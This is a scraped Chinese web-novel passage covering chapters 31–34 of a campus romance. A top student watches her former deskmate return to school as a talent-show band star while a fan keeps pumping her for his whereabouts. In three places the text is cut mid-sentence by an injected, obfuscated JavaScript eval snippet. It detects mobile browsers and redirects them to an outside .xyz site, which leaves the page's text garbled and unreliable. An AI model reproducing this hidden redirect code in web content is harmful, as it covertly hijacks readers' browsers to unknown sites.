放暑假之前三班的数学老师发下来了二十套试卷,叮嘱他们要认真写完,还说等下学期开学要挨个检查。 昨天新学期第一天上课,数学老师确实检查了每个同学的完成情况,又对这些试卷上的一些经典题型进行了简单的讲解。 潘青昀的试卷上做了一些笔记,从那些潦草的笔迹来看,他的态度还算认真,几乎把数学老师的板书全都一字一句地抄了下来。 对于认真请教的同学,辛蕴从来不会藏着掖着。 “当然可以。这道题数学老师昨天已经讲过一遍了,你是哪里没听明白?” 潘青昀挠挠头,有些不好意思地笑了笑,说:“完全没听懂,感觉思路没捋顺。” 辛蕴拿出一张草稿纸,一边给潘青昀讲解那些板书的意思,一边帮他分析思路。 题目讲到一半。 黄丽君走过来敲了敲辛蕴的书桌。 “早上好呀,大忙人。”她冲她眨眨眼。 辛蕴抬头见是黄丽君,从书包里拿出一个保温杯,递到她手里,语气十分熟稔地说:“我妈说总是喝豆浆不好,今天她炖的是红豆薏仁汤。” 黄丽君喜滋滋地拧开保温杯的盖子,凑上去闻香味,笑着说:“红豆薏仁汤好啊,祛湿气。”她一边吹着热气一边小心翼翼地喝了一口。喝完,又瞥了一眼旁边的潘青昀,打趣道:“哟,跟辛蕴请教问题呢,这么认真啊。” 潘青昀没答,看着黄丽君手里的保温杯,笑着问:“你每天都让辛蕴帮你带早餐吗?” 黄丽君眉毛一扬,很有些得意地点点头:“嗯,辛蕴自己说要帮我带的。” 潘青昀转头看着辛蕴,说:“真的吗?辛蕴你怎么这么好?我也想喝阿姨熬的汤,以后能不能也帮我带一杯?” 他的语气半真半假。 辛蕴有些尴尬地笑了笑。 有没有搞错?每天早上帮黄丽君带的那份早餐已经快要把辛蕴的肩膀压弯了,要是再来一个,辛蕴以后估计真的要考虑买个行李箱,每天都拖着行李箱来上课了。 况且帮潘青昀带早餐?她跟这个新同桌又不熟,他这么问她,实在有些没有边界感。 辛蕴这边正思考着该怎么委婉地去回复。 “你想得美!辛蕴是我一个人的!”黄丽君一把抱住了辛蕴,吐了吐舌头,冲着潘青昀做鬼脸:“你想都不想要!想吃早餐不会自己买啊!” 辛蕴配合地抿唇微笑,没有说话。 潘青昀刚才也只是在开玩笑,看到两人“姐妹情深”,他咧嘴笑了笑,又低头去看试卷上那道题目。 上午大课间,黄丽君拉着辛蕴一起去学校的超市里买零食。 路上,她颇有些神秘地凑到辛蕴耳边,说:“今天早读课上宋朵朵和后面那几个人说你的坏话呢。” 辛蕴愣了一下,转头看黄丽君,问:“啊?为什么?”表面上惊讶,其实她心里也多多少少清楚恐怕还是为了这次换座位的事情。 毕竟那天宋朵朵已经表现得足够明显了,瞎子才看不出来呢。 果然,黄丽君说:“还不就是因为你抢了她的座位,哦,不对,不能叫‘抢’,应该是——你现在坐在了她以前的座位上。宋朵朵心里不开心,就跟后面的几个女生说你坏话,还把上个学期班规那件事拿出来说,反正翻来覆去的还是那几句话,没什么意思。” 辛蕴耸耸肩,有些无奈:“史老师安排的座位,我也没办法。” 她还不想坐在现在的位置上呢,真是找谁说理去。 “不管她们那些人了。”黄丽君拉着辛蕴的手,又道:“对了,说到这个,你知不知道你为什么会被安排到那个位置?” 看黄丽君这表情,难道背后还有隐情? 辛蕴再次配合地摇摇头,问:“为什么?” “潘青昀是个富二代,他爸从他一入学就开始给史振邦使劲塞钱,所以史振邦平时可关照他了。你别看潘青昀整天装模作样的,其实他就是个花钱买进来的借读生,怎么样,看不出来吧?” 辛蕴一愣,这一点她倒是真的没看出来。 三班的借读生很多,但他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832052|175609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们基本上都集中在教室的后排。但在辛蕴的印象中,这位潘青昀好像一直坐在前排的黄金位置。 这么一说,好像确实有些奇怪。 因为潘青昀的成绩也就一般,加上还是一个借读生,按理来说,他根本不可能坐在那里那么久。但班里的座位都换过几轮了,辛蕴硬是没看见潘青昀挪窝。 “我听我们班以前的那些原住民说过,之前高一上学期的时候宋朵朵的成绩可好了,第一次月考连王嘉禾考得都没她好,史振邦就把宋朵朵和潘青昀安排在一起当同桌,意思就是想让宋朵朵带一带潘青昀。但后来宋朵朵的成绩一直在下滑,最近的两次考试宋朵朵都没考好,所以史振邦就把你调了过去,好继续给人家太子爷当陪读呢。”黄丽君的表情很有些愤世嫉俗的意味。 辛蕴反应了一会儿,嘴角扬了扬,有些讽刺地说:“这么说我现在能坐在那里,还得感谢潘青昀同学?” 难怪那天史振邦苦口婆心地费了那么多口水来劝她。话倒是说得好听,原来打的是这个主意。 黄丽君撇撇嘴,说:“家里有钱就是好,潘青昀的成绩还不如我呢,竟然能跟你这个全校第一名当同桌,真是不公平。” 辛蕴倒是没有太多情绪上的起伏,说到底,她不是很在乎这个事情,只要没有对她造成太多影响,那她就愿意继续装聋作哑。 但黄丽君明显越说越生气,辛蕴只能安抚地拍拍她的手,开玩笑地说:“下次换座位的时候我跟史老师说,说我要和你坐在一起。这样你也能和全校第一名坐在一起啦。” 黄丽君白了辛蕴一眼,说:“你想坐哪儿就能坐哪儿?史振邦才不会理你呢。”话虽这么说,她的嘴角却已经翘得老高了。 后面的几天,潘青昀果然时不时就拿他不懂的题目来请教辛蕴,完全把辛蕴当成了他的私人家教。 辛蕴一方面不想惹事,另一方面觉得这也耽误不了她多少功夫,于是便还是一如既往地认真给他讲解。 潘青昀很懂礼尚往来,经常带一些小零食小礼物送给辛蕴,但都被辛蕴退回去了。 就这么平稳地过了几天。 一天晚自习,辛蕴的手机忽然收到了一条消息,是那个叫“小七”的女孩发来的消息。 【滴滴,滴滴,你在吗?】 辛蕴有些疑惑,想了想,回了一句:【怎么了?】 自从那天加了辛蕴之后,小七就再也没有给她发过消息。今天怎么又开始跟她客套起来了? 那边又发过来一条:【你现在在学校里上课吗?】 辛蕴回:【是的,在上晚自习。】不知道为什么,她心里突然有了一种奇异的预感。 那边又显示“正在输入中……”,过了好一会儿,聊天框里跳出来一条消息—— 【邬蒙现在在你们班吗?】 辛蕴一愣,一颗心瞬间跳得飞快,她立刻回了一句:【他现在不是在杭城参加节目吗?】 小七那边好像已经不想再继续装下去了,直接回道—— 【今天节目已经全部录制结束了,邬蒙现在应该已经回南城了。】 邬蒙回来了? 辛蕴看着屏幕里的那句话,感觉自己浑身的血液都被放进了一个熔炉里在慢慢升温。 她果然没有猜错。 辛蕴努力平复着情绪,故作淡定地回道:【是吗?我没有看见他啊。】 打完这句,她似乎又觉得两人的对话显得有些突兀了,想了想,正要发过去一句【你怎么突然问起邬蒙的事,你是他的粉丝吗?】 字打到一半,教室的门被推开了。 原本嘈杂的教室瞬间安静了下来。 辛蕴本能抬头去看。 下一秒,她呼吸一窒。 在一阵突然爆发出的尖叫声中,她看到了邬蒙的脸。 他站在教室门口,明亮的灯光打在那张许久不见的脸上,高挺的眉骨和鼻骨在愈发瘦削的脸上落下一层阴影,他身上明明穿着和以前一样的黑色T恤和牛仔裤,可周身的气质却大不相同了。 辛蕴愣愣地看着那个方向出神,嘴唇下意识地动了动。 邬蒙,真的回来了。 32. 第 32 章 “安静!” 史振邦一脚跨进教室大门,凶神恶煞地喊了一句。 底下的同学被他吓了一跳,瞬间停止了尖叫。 史振邦转头看着身后的邬蒙,变脸一样,脸色和悦地说:“你先回自己座位上去吧。” 邬蒙点点头,朝教室后排的方向走。 他的一边肩膀上挂着一个黑色的书包,看起来没什么分量,步子随意散漫,一如往常。或许这个世界上真的有“红气养人”这个说法,他明明什么都没变,但就是让人觉得有哪里不一样了。 总之,今天的邬蒙身上有一种脱胎换骨般的魅力。 教室里所有人的视线都追随着他的背影,宛如田野里追逐着太阳的向日葵。 当然包括辛蕴。 她看到邬蒙朝着他们原来的座位方向走去,见原本属于辛蕴的位置上坐着一个男同学,邬蒙的背影明显僵了一下,然后回头看了一圈周围。 辛蕴的心猛地提了起来,她坐直身体,伸长脖子,想要和邬蒙的目光对视上。 “看什么看?!都回回神!”史振邦站在讲台上,用手中的三角尺用力地敲了几下讲台。 “砰砰砰”几声巨响,炸雷一般。 辛蕴被吓了一跳,只好扭过头去看讲台上的史振邦。 “忘了我昨天跟你们说的那些话了吗?!以后别乱嚷嚷!再把那些人吸引过来到时候又天天围在我们教室外面!”史振邦的脸色十分严肃,道:“邬蒙现在是公众人物了,作为他的老师和同学,我们有责任也有这个义务要保护他,我们要保护他的隐私不被侵犯。以后外面的人来打探邬蒙的消息你们一律都要说‘不知道’,更不许对他们透露邬蒙的行踪,听到了吗?” 底下的同学们异口同声地喊:“知道啦!” 史振邦这才放松了眉头,他拖过来一张椅子,一屁股坐在了讲桌后面。 “行了,你们自习吧。”他说。 底下先是安静了一会儿,又开始响起低低的议论声。 辛蕴悄悄回头看过去—— 邬蒙正坐在他原来的位置上,低头看着桌面上堆放的那些资料和试卷,似乎有些不知道该从何下手的模样。 辛蕴盯着那个方向看了许久,可邬蒙还是没有抬头看过来。 史振邦还虎视眈眈地坐在离她不远的讲台上,辛蕴不好一直扭头看着邬蒙,她收回视线,坐直了身体,翻出一张数学试卷摆在面前,正要逼迫自己沉下心思去审题。 这时她放在抽屉肚子里的手机突然震动了一下。 辛蕴吓了一跳,抬头望过去—— 幸好教室里比较嘈杂,史振邦没有发现,他正优哉游哉地翘着二郎腿在喝茶刷手机。 她松了一口气,低头去看。 小七又给她发了一条消息—— 【邬蒙现在是不是回你们学校了?!我看到有人说他已经回去了!】 辛蕴一愣。 这个小七的消息怎么这么灵通? 邬蒙前脚刚到教室,她那边就立刻收到消息了? 这简直有点吓人。 辛蕴看着对话框,犹豫了一下,按灭手机屏幕,没有回复。 一整节课,她都有些坐立难安。 想起刚才邬蒙那一秒的怔愣,辛蕴心里觉得既煎熬又甜蜜。 那一秒邬蒙在想什么呢? 是在疑惑她怎么不坐在那里了,觉得有一丝丝的失落?还是只是单纯地不习惯换了一个新同桌? 辛蕴心里突然冒出来一个荒唐的想法——她觉得自己就好像是一个没有等到丈夫打仗归来就已经改嫁他人的小媳妇。 她心里竟然为自己没有守住两个人的“小小阵地”而冒出一些愧疚的情绪。 大概就像宋朵朵跟别人吐槽的那样,她真的是读书读傻了。 辛蕴有些自嘲地想。 一节课很快就在她的胡思乱想中结束。 下课铃声敲响。 前一秒史振邦夹着茶杯刚走出教室。 下一秒教室里的所有同学几乎都同时转头看向了邬蒙的方向。 教室里陷入一种奇怪又诡异的沉默中—— 或许是因为许久没见彼此之间变得有些陌生;或许是因为邬蒙现在身份不一样了,他变成了一个和他们这些普通人有些距离的“公众人物”;又或许是因为邬蒙本来就是一个游离在三班这个集体之外的透明人,他和班里其他同学的关系一直都是淡淡的。 总之,大家只是安静看着邬蒙,默默地打量着他,并没有立刻上去和他说话。 在这些或赤裸或隐晦的目光中,邬蒙神情自如地坐在那里,似乎根本没有注意到落在他身上的那些视线。 不知道是谁率先打破的僵局,先是有人声音昂扬地喊了一声“阿蒙”,然后后排的几个人全都欢呼着围了上去,他们把邬蒙围在中间,一时间教室里的气氛又重新被点燃了。 “你怎么这个时候回来了?” “节目录制完了吗?” “你小子怎么突然想起要去参加乐队选秀啊?” “你见到周老师本人了吗?能不能帮我要一张签名?” “录节目好玩吗?那些明星真人长什么样?和电视里看到的一样吗?” 无数个问题雨点般砸向了邬蒙。 男生们毫无顾忌地拉着他问东问西,女生们则显得克制很多,她们站在外围用亮晶晶的眼睛崇拜地看着邬蒙。 辛蕴本来是想过去跟邬蒙打个招呼的,但看这情形她肯定是挤不进去的。 就算让她挤进去了,她能说什么呢? 任何带有私人情绪的寒暄和问候在大家的审视下好像都显得有些尴尬和可疑。 辛蕴只能坐在座位上继续低头刷题,偶尔回头看一眼邬蒙的方向。 看着他被人群围在中间,众星捧月一般淡定又从容地应对着大家的问题,偶尔冒出一两句俏皮话,把大家逗得又是尖叫又是欢呼。 辛蕴心里突然产生了一种很奇怪的感觉。 她说不清那种感觉到底是什么。 课间十分钟的时间很快过去了,邬蒙的目光从始至终都没看向辛蕴,他甚至没有任何张望和寻找的眼神。 好像辛蕴这人对于他的所有意义只存在在那一秒的怔愣中。等那一瞬间的疑惑过了,他便不再对她有任何好奇和牵挂。 辛蕴坐在那里,闷闷地低头看着面前的试题。 放在抽屉肚子里的手机突然又震动了一下。 辛蕴犹豫了一下,没有动。 她现在实在没有心情去应付小七的窥探欲和好奇心。可要是一直不回消息,好像又显得很没有礼貌。 辛蕴想了想,叹了一口气,正要伸手去拿手机回消息。 “辛蕴,你能帮我看一下这道题吗?”潘青昀的声音从旁边传过来。 辛蕴愣了愣:“好。”她把放进抽屉肚子里的那只手又抽了出来,拿起一支笔,问:“哪里不懂?” 潘青昀手里拿着英语老师今天刚发下来的一张试卷,指着上面的一道选择题,问:“这个语法知识点你能给我讲讲吗?” 辛蕴打起精神,稍作思考后,认真仔细地给潘青昀分析那一道题的语法知识点。 上课铃声已经敲响了,但今天晚自习没有老师上课,史振邦让他们自己自习。 怕打扰到周围的同学,辛蕴的声音压得很低。 但其实这也是多此一举了。 三班的晚自习就没有安静的时候,周围早就吵成了菜市场。 她的那点声音根本造成不了什么影响。 辛蕴给潘青蕴讲完那道题目,索性直接戴上了耳塞,继续埋头刷题。 潘青昀好像本来还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832053|175609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打算再问辛蕴别的问题,但看到她已经戴上了耳塞,他也没好意思再开口。 辛蕴余光瞥见了,只当作没看见。 她今晚的心情有些低落,实在没精力去应付别人。 就这么过了一节课,辛蕴写完一张试卷,这才想起来刚才还有消息没有回。 她拿出抽屉里的手机。 点开微信的一瞬间,心脏漏跳了一拍—— 消息栏里的最新消息竟然是邬蒙发来的。 那一秒,一朵绚烂的烟花在她脑子里倏然炸开。 辛蕴盯着那个她已经看了无数遍的吉他头像。像是有一股热热的气流流淌过她的每一根神经末梢,那种快乐和幸福简直无法用语言描述。 辛蕴的心跳得飞快,点进对话框—— 【你怎么坐到那里去了?】 那一刻她简直想疯狂尖叫。 啊啊啊啊啊啊啊啊啊啊啊啊啊啊! 邬蒙不是没有注意到她!他原来早就看到她了! 他用这种没有距离感的、无比自然、无比熟悉的语气问她! 这两点不管是哪一点都让辛蕴想要大声尖叫。 再看一眼时间—— 这条消息是五十分钟之前发过来的。 也就是说刚才那条消息其实是邬蒙发过来的! 她竟然以为是小七发的所以没有及时回复! 辛蕴懊恼极了,立马回头看向教室最后一排的方向—— 但邬蒙已经不在那里了。 座位上空空荡荡的。 他课桌上那些堆积如山的试卷和资料也都不见了。 辛蕴的笑容僵在了脸上。 邬蒙去哪里了? 他不会又要消失很久吧? 辛蕴的心像是突然被人挖空了一块,有些空落落的。 她转过头,看着手机屏幕,想了想,给邬蒙发过去两条消息。 【是史老师换的位置。】 【你现在在哪里?】 那边很快就回过来一条——【外面人太多了,史老师让我先回家。】 辛蕴转头去看。 果然看到三班教室外面围了好多人,正探头探脑地看着教室里面,那些人中的大多数身上并没有穿一中的校服,看起来并不像是一中的学生。 不用想就知道,肯定是闻讯而来的粉丝。 辛蕴刚才戴着耳塞埋头刷题,竟然完全没有注意到外面的这些动静。 她愣愣地看着两人的对话框,一起一伏的巨大情绪差让她的脑袋有些放空。 这时手机屏幕里又跳出来一条消息。 辛蕴的心又猛然往上一提,她低头去看,一颗心又瞬间落了回去。 这回确实是小七发来的消息。 她问:【你在上课吗?】 辛蕴平复了一下心绪,回道:【是的。】 对方又问:【邬蒙现在是不是已经回家了?】 辛蕴简直有些头皮发麻。 这个小七怎么像是在邬蒙身上安了定位器一样?简直太吓人了。 辛蕴想了想,在输入框里打下一段话——【不好意思哈,小七,我觉得透露同学的隐私和行踪不太好,你要是因为邬蒙才接近我跟我做朋友的话,我觉得咱们还是保持距离比较好……】 打到一半,对话框里又跳出来小七的新消息。 【你肯定很好奇我是怎么知道的吧?哈哈哈,我是邬蒙的超话大粉,我们有个级别很高的粉丝群,里面有很多邬蒙的一手消息,要不要我拉你进群?】 她还发了一个勾引的表情。 辛蕴打字的手停了下来。 她盯着手机屏幕,沉思良久,把自己打的那些字一个一个删掉。 然后,不知道出于什么心理,诡使神差地给对面发过去两个字—— 【好的。】 33. 第 33 章 小七把辛蕴拉进了一个微博群。 辛蕴刚点进去,就见屏幕上的消息跳得飞快,无数个对话框飞一般从眼前划过,速度快得几乎留不下一点残影。 辛蕴赶紧按住屏幕,往上翻了几页,透过那些飞闪而过的只言片语看到群里的人正在讨论邬蒙这次回南城的事情。 【刚才在上课,没注意看群里消息,我怎么看到有人说阿蒙今天回一中了?】 【是的!有一个中学生说在学校门口看见他了!还拍到了照片!】 【他回去待了一节课又走了,现在应该是回家了。】 【真烦!超话里都发了让大家不要去线下蹲他,那些人非要去,现在好了吧,搞得阿蒙都不敢在学校里待了!】 辛蕴又往上翻了几页,看到有人发了一条—— 【啊啊啊啊啊啊啊啊啊啊阿蒙他们乐队拿了第四名!真好!!!】 她上划的手一顿,看着那条消息发怔。 原来邬蒙他们那支乐队在节目里最终拿到了第四名的成绩。 节目才播到倒数第三期,这些粉丝竟然已经提前知道最终比赛结果了? 辛蕴简直有些不敢相信。 不过转念一想也算合理,每次节目录制都会邀请一些现场嘉宾和观众,有小道消息流出来也很正常。 她一目十行地浏览着那些消息,想要获取一些有效信息。 【阿蒙那支乐队能拿到第四已经不错了,其他乐队的来头都不小,名次都是节目组提前内定好的。我们阿蒙是民选TOP,当之无愧的ACE!】 【第四名也不要紧,我看节目组后期应该还是会签下阿蒙他们让他们出道的,毕竟阿蒙人气高,傻子才会放走这个摇钱树呢。】 【其实签了也不一定好,这个公司好像没啥资源,到时候白白耽误了我们阿蒙。他外形条件好,搞乐队没啥出路,不如solo出道,发展几年以后还能去演戏。】 【对啊,我也觉得阿蒙就应该solo出道!他们乐队其他人就是烂泥扶不上墙,没有阿蒙谁认识其他几个人?】 …… 辛蕴看完了历史消息,下滑到最下面去看最新跳出来的那些消息。 【谁知道阿蒙最近的行程?】 【我暂时没搜到阿蒙的航班信息,他最近应该还是会留在南城市。】 【留在这里干嘛?】 【不清楚。】 【不会真的不签公司不出道了吧?】 【放屁,就算节目结束了,我们阿蒙也不可能变回一个素人的,一定有公司会来找他想要签下他的!】 …… 辛蕴看得瞠目结舌,只觉得这些粉丝真是神通广大、无所不知。她们不仅知道邬蒙的比赛结果,还能实时更新他的最新行程,更能帮他分析未来的人生发展方向,简直是十八般武艺样样精通。 不过,她们说邬蒙近期会留在南城市,这是真的吗? 辛蕴的心因为这个消息变成了一颗灌满了氢气的气球,轻飘飘地飞了起来。 哪怕不能天天见面,但能和邬蒙待在同一个城市里,对于她来说也算是一件值得开心的事情。 晚上回到家,洗漱结束,辛蕴躺在床上,想起今天晚自习上发生的一切,她思考再三,给邬蒙发过去一条消息—— 【明天中午请你吃个饭?给你接风洗尘哈哈】 之前邬蒙已经请她吃过好几次饭了,现在她回请一次,应该也还算正常? 可辛蕴还是有些不好意思,又发过去一条消息找补一下——【今天晚上太匆忙了,还没来得及恭喜你呢。】 这次邬蒙的消息回得很快,几乎没有给辛蕴任何思考的时间。 【算了吧哈哈,不用特地请我吃饭。】 辛蕴看着屏幕里跳出来的那条消息,原本飘飘然的一颗心像是被人扎了一针似的,立刻瘪了下来。 她第一次请男孩子吃饭竟然就被拒绝了。 实在是挫败。 辛蕴的自尊心有些受挫,她努力稳住自己心中那尴尬又苦涩的情绪,正要发点打马虎眼的话缓和气氛。 屏幕上又跳出来一条消息—— 【以后咱们见面的机会还多,到时候看时间约个饭。】 辛蕴一愣。 以后见面的机会还多? 什么意思? 是不是就像群里的那些粉丝说的那样,邬蒙在之后的一段时间里都会留在南城市? 啊啊啊啊啊啊啊啊啊啊! 一瞬间,她心中的那点郁闷完全被铺天盖地的喜悦和期待所取代。 辛蕴觉得她的心就像是一个飘在天空中的风筝,迎着风飘飘荡荡、上下沉浮,而邬蒙手里牢牢握着那根风筝线。 辛蕴欢喜之余,又有些惭愧。她觉得自己这样实在有些没出息,可又控制不住自己沉浸在这种大起大伏的情绪差所带来的极致体验之中。 好像她一滩死水的生活一下子活泛了起来,不管滋味是苦是酸是甜,她终于能真切地感知到自己的情绪了。 这种沉浸感让辛蕴着迷。 她看着手机屏幕,将脸埋进被子里,无声的尖叫。 - 邬蒙回到容静租住的那个小屋子前,站在门口,抬头看着旁边那个明显已经翻新过的采耳店招牌。 夜里九点多了,采耳店里的灯还亮着,店门却已经落了一半的闸。 他犹豫了一下,弯腰抬起卷闸门。 “哗啦啦”一声响,吸引了店里两个人的注意。 “儿子!你回来啦!!!”看到邬蒙的身影出现在门前,容静眼睛一亮,她立刻放下手里的东西三步并作两步来到邬蒙跟前,拉住他的手,激动地说:“刚才你发消息跟我说你今晚要回来,我马上就让你爸去买了你爱吃的咕咾肉,还炒了两个菜,菜现在还在锅里热着,就等你回来呢!快,快进来,你快进来!我们一家人去里面吃饭。你都好几个月没回来了,今天咱们吃顿团圆饭!” 邬蒙扬扬嘴角,点点头,脸上的笑容并不如何真切。 他拖着箱子进来,行李箱的齿轮在地板上滚动,发出一阵凝重又沉闷的响声。 邬宝刚坐在一旁翘着二郎腿剔牙齿,邬蒙经过他身边的时候,他上下瞥了一眼邬蒙,“呸”的一口,吐出嘴里的牙签,道:“不知道给你老子打声招呼?” 邬蒙没反应,像是没听到一样,径直朝里走。 容静回头瞪了一眼邬宝刚,然后又笑眯眯地看着邬蒙,说:“别理他,我们去吃饭。” 邬宝刚冷哼一声,他从沙发旁边的纸箱子里掏出一罐啤酒,打开易拉罐,仰头灌进去一口啤酒,这才抬脚懒洋洋地跟了上去。 他走进后面那个小两居里的时候,邬蒙和容静已经坐在餐桌边了。 容静热络地给邬蒙夹菜,语气有些心疼地说:“来,多吃点菜,怎么这次回来瘦了不少,是不是很辛苦?” 邬蒙夹起碗里的那块咕咾肉,塞进嘴里,没说什么,只是轻轻地摇了摇头。 邬宝刚一言不发地喝完了手里的那罐酒,又抽出一根烟,点燃了,坐在那里慢悠悠地抽烟,眼角余光时不时扫向旁边的母子二人,道:“电视里看着风光,别人都以为我邬宝刚的儿子出息了,谁知道一分钱都不往家里带,当明星有什么用?屁用没有!” 容静白他一眼,说:“不是都跟你说过了嘛,小蒙这次参加节目是没有钱拿的。人家那么大一个节目,给我们上台表演的机会,没有收我们钱就已经很好了,你还想着别人给你发钱?”她转头看着正在埋头吃饭的邬蒙,语气有些自豪和得意:“你以为谁都能上那个节目?只有我们小蒙这样万里挑一的长相才能被节目组选中。我就知道我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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容静脸上挤出一个勉强的笑,说:“你说什么呢。”她想要打圆场,目光在父子两人之间来回打转,说:“合同也就签了几年,小蒙年纪这么小,就算给他们白打几年工也不耽误以后挣大钱。” 邬蒙奔波了一天,此刻身心俱疲,实在没有精力再去应付这些,他直接站了起来,一言不发地回到了自己房间。 打开手机,看到经纪人桃姐发来的消息—— 【回家了吗?今天你回校的消息已经传开了,明天应该会有狗仔和粉丝去跟,你注意一下形象,别被拍到丑照。还有,最好按时到校,遵守校规,不要被抓到把柄。】 邬蒙叹了一口气,把手机甩到旁边,不想理会。 他其实压根就不想回家,可经纪人桃姐说他们“放学后作战”这个乐队之所以能红,很大程度上是靠着经纪公司给他们做的人设——高中生乐队。 高中生乐队最大的噱头是“高中生”。如果他们也和其他乐队一样整天跑商演混圈子甚至离家独居,那还算是什么高中生乐队? 核心人设立不足,粉丝群体就会很快流失。 所以节目录制结束后,桃姐再三嘱咐他们,让他们先乖乖地回学校上课,等过段时间节目播出结束,她再安排他们出来活动。 当然这段时间他们几个也并不是真的什么工作安排都没有,比如在节目播出期间他们要配合节目组全平台的宣传工作,甚至还要时刻保持完美的形象配合一些大粉的“偷拍”。 桃姐手下的宣传人员和那些大粉私下保持着密切的沟通,大粉拍完了照,工作人员会拿着这些“绝美路透”在全平台营销,好让他们“高中生乐队”这个人设更加深入人心,并以此吸引来更多新粉。 总之,这其中的复杂操作邬蒙不甚了解,他只知道桃姐坚决不允许他一个人租房子在外面住。 “一旦被别人发现你一个人住,到时候那些媒体就会像苍蝇一样围着你转,他们肯定要把你家的那些破烂事扒得底朝天。邬蒙,我不管你有什么童年创伤还是遭受了什么虐待,你在你那些粉丝眼里就是一个阳光灿烂的单纯大男孩,在正式出道之前,你的形象不能有任何污点。总而言之,你得和你爸妈一起住。” 想起经纪人桃姐不容置疑的话语,邬蒙有些烦躁地揉了揉自己的头发。 他整个人仰倒在了椅子上,看着灰蒙蒙的天花板,长长地叹了一口气。 34. 第 34 章 邬蒙第二天还是迟到了。 这一行的生物钟就是日夜颠倒,邬蒙当了好几年的夜猫子,这会儿突然要他早起当个好学生,实在有点强人所难。 早读课下课铃声敲响,他踏进三班的教室门。 原本嘈杂的班级因为他的出现一瞬间安静了下来。 邬蒙困得要命,也没空理会那些惊讶的目光,他径直走向最后一排的座位,随手把只装了一瓶矿泉水的书包挂在椅子上,直接趴在座位上补觉。 一系列动作如行云流水,非常丝滑。 三班的同学们这次没有尖叫,也没有围过来,而是面面相觑了一会儿,默契地保持着沉默。 当同学一年多了,邬蒙从来没有在上午出现在教室里过,以前他是“小透明”的时候懒懒散散,现在成了“小明星”反而要发奋图强了? 可看他这做派实在又不像是发奋图强的样子。 一时间周围陷入一种诡异的安静中,大家都生怕发出声音吵到了邬蒙补觉。 辛蕴在邬蒙踏进教室的那一秒就注意到他了。 倒不是她有蜘蛛侠一样的敏感神经能听到他的脚步、闻到他身上的气味。 而是早在邬蒙进入一中大门前,微博上的那个粉丝群里就已经有人在发消息说邬蒙今天来学校了—— 【阿蒙今天怎么这么早就去学校?】 【不清楚,他本来就是高中生,回学校上课也很正常吧。】 【他这个年纪本来就应该在学校里读书啊,这个节目还是他趁着暑假抽空来参加的。】 【穿上校服是高中生,拿起吉他就是乐队主唱,你们不觉得帅爆了吗(花痴脸)】 【怎么办,我觉得他当高中生的样子更帅啊啊啊啊啊啊啊!】 辛蕴深知群里这些粉丝的神通广大,哪怕是看到邬蒙一大早就来一中上课的消息,她也没有丝毫怀疑。 果然,没过几分钟,她就在教室门口看到了邬蒙的身影。 辛蕴扭头去看他趴在课桌上睡觉的样子,又低头盯着自己的手机屏幕上那些飞速弹出来的群聊消息。 这种随时能掌握对方行踪的感觉……好像也不赖? 辛蕴刚要按灭屏幕,手机突然震动了一下,屏幕上方跳出来一条微信消息—— 【邬蒙是不是去上课了?】 小七的消息一如既往的准时。 辛蕴想了想,给对方回过去一个【是的】。 反正群里面早就都传开了,小七只是再向她确认一遍而已。如果辛蕴不回,反而显得太过冷漠了,好歹是人家把她拉进了那个群里。 小七:【他现在在干嘛呢?】 辛蕴:【好像在睡觉。】 小七:【能帮忙拍一张照片吗?】 辛蕴皱了皱眉,脑中顿时响起一阵警铃。 虽然从一开始她就知道小七接近她别有目的,但是现在看见对方提出这个要求,辛蕴还是产生了一种被触碰到底线的冒犯感。 但辛蕴没有了一开始的那种底气,她竟然做不到直接开口拒绝小七。毕竟她确实享受了对方给的“好处”,并且她现在暂时不太想失去这个“好处”。 可另一方面辛蕴实在不想做这种事,偷拍邬蒙的照片再发给他的粉丝,感觉好像有点不太好? 她大概真的是个双标至极的人吧,辛蕴无声地叹了一口气。 犹豫片刻,她回道:【不好意思啊,小七,我现在已经不是邬蒙的同桌了,座位离他很远,中间隔了好多同学,根本拍不到他。而且作为他的同学,偷拍一旦被发现,以后相处起来会很尴尬的。最重要的是,我们班主任之前已经打过招呼了,说让我们千万不能透露邬蒙的隐私。】 最后一句话,辛蕴打字的时候自己都有些心虚,她只能安慰自己——她并没有透露邬蒙的隐私,她只是卧底在那个群里偷窥他的隐私而已。 小七也很体贴,见辛蕴说得恳切,立马回道:【不拍也没关系啦哈哈,我就随口问问,反正后面也能看见。】 见小七没翻脸,辛蕴松了一口气,上课铃声很快就敲响了,她也没顾得上问对方那句“反正后面也能看见”具体是什么意思,直接把手机关机塞进了书包里。 - 邬蒙睡了两节课,大课间的铃声敲响,他睁开眼睛,有些困倦地打了一个哈欠。 以往补完觉他都是神清气爽,今天却有些没精神。 史振邦给邬蒙换了一个新的同桌,是个又瘦又矮、沉默寡言的男生。 对方既不聒噪也不乱动,整整两节课都只是安静地窝在那个角落里拿着手机看小说,并没有吵到邬蒙睡觉。 可邬蒙就是睡得不踏实。 他的视线不自觉飘向了教室的某个方向。 女孩坐在那里,纤瘦的背影挺得很直,垂在身后的马尾辫随着她细微的动作轻轻晃动着。她还是和以前一样,就算是下课时间也安静地待在座位上专心刷题看书。 